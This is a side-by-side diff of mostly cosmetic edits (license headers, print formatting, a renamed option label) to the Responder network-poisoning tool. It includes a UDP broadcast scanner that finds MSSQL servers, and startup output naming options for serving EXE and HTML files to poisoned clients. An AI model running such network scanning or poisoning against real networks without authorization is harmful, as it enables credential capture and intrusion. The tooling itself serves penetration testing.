# it under the terms of the GNU General Public License as published by # it under the terms of the GNU General Public License as published by
@ -15,24 +14,26 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
from socket import * from socket import *
print 'MSSQL Server Finder 0.1\nPlease send bugs/comments/e-beer to: lgaffie@trustwave.com\n' print 'MSSQL Server Finder 0.1'
s = socket(AF_INET,SOCK_DGRAM) s = socket(AF_INET,SOCK_DGRAM)
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
s.settimeout(2) s.settimeout(2)
s.sendto('\x02',('255.255.255.255',1434)) s.sendto('\x02',('255.255.255.255',1434))
try: try:
while 1: while 1:
data, address = s.recvfrom(8092) data, address = s.recvfrom(8092)
if not data: if not data:
break break
else: else:
print "===============================================================\nHost details:",address[0] print "==============================================================="
print "Host details:",address[0]
print data[2:] print data[2:]
print "===============================================================\n" print "==============================================================="
print ""
except: except:
pass pass

View file

@ -1,7 +1,6 @@
#! /usr/bin/env python #!/usr/bin/env python
# NBT-NS/LLMNR Responder # This file is part of Responder
# Created by Laurent Gaffie # Original work by Laurent Gaffie - Trustwave Holdings
# Copyright (C) 2014 Trustwave Holdings, Inc.
# #
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by # it under the terms of the GNU General Public License as published by

View file

@ -1,6 +1,6 @@
# NBT-NS/LLMNR Responder #!/usr/bin/env python
# Created by Laurent Gaffie # This file is part of Responder
# Copyright (C) 2014 Trustwave Holdings, Inc. # Original work by Laurent Gaffie - Trustwave Holdings
# #
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by # it under the terms of the GNU General Public License as published by
@ -11,7 +11,7 @@
# but WITHOUT ANY WARRANTY; without even the implied warranty of # but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details. # GNU General Public License for more details.
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct import struct

View file

@ -1,6 +1,6 @@
# NBT-NS/LLMNR Responder #!/usr/bin/env python
# Created by Laurent Gaffie # This file is part of Responder
# Copyright (C) 2014 Trustwave Holdings, Inc. # Original work by Laurent Gaffie - Trustwave Holdings
# #
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by # it under the terms of the GNU General Public License as published by

View file

@ -1,5 +1,5 @@
#!/usr/bin/env python #!/usr/bin/env python
# This file is part of Responder by Jeremy S - jrm` @ irc.freenode.net # This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings # Original work by Laurent Gaffie - Trustwave Holdings
# #
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
@ -33,7 +33,7 @@ def color(txt, code = 1, modifier = 0):
def text(txt): def text(txt):
logging.info(txt) logging.info(txt)
return re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
def RespondToThisIP(ClientIp): def RespondToThisIP(ClientIp):
@ -174,7 +174,7 @@ def StartupMessage():
print color("[+] ", 2, 1) + "HTTP Options:" print color("[+] ", 2, 1) + "HTTP Options:"
print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled) print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled)
print ' %-27s' % "Serving EXE for .exe URLs" + (enabled if settings.Config.Serve_Exe else disabled) print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled)
print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled) print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled)
print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled) print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled)
#print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script #print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script